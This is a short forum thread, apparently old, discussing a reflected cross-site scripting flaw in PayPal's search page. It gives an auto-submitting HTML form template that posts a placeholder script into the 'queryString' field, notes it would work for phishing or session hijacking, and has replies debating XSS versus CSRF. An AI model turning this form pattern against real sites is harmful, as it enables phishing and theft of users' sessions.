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Basically you need to put something like this on a page you control (where "xss code" is the code triggering the XSS): <form action="https://www.paypal.com
by pfg 13y ago
Basically you need to put something like this on a page you control (where "xss code" is the code triggering the XSS):
<form action="https://www.paypal.com/de/cgi-bin/searchscr?cmd=_sitewide-search" method="post">
<input type="text" name="queryString" value="xss code" />
</form>
Then, just as the page loads, submit that form and you're executing JS on a paypal.com page. This would work great for phishing or session hijacking.
- hidden-markov 13y agoIsn't this CSRF?
- unfed 13y agoCombination of XSS and CSRF.
- benregenspan 13y agoThis seems like it's just plain XSS - it doesn't take advantage of a user's serverside session to forge an action on their behalf.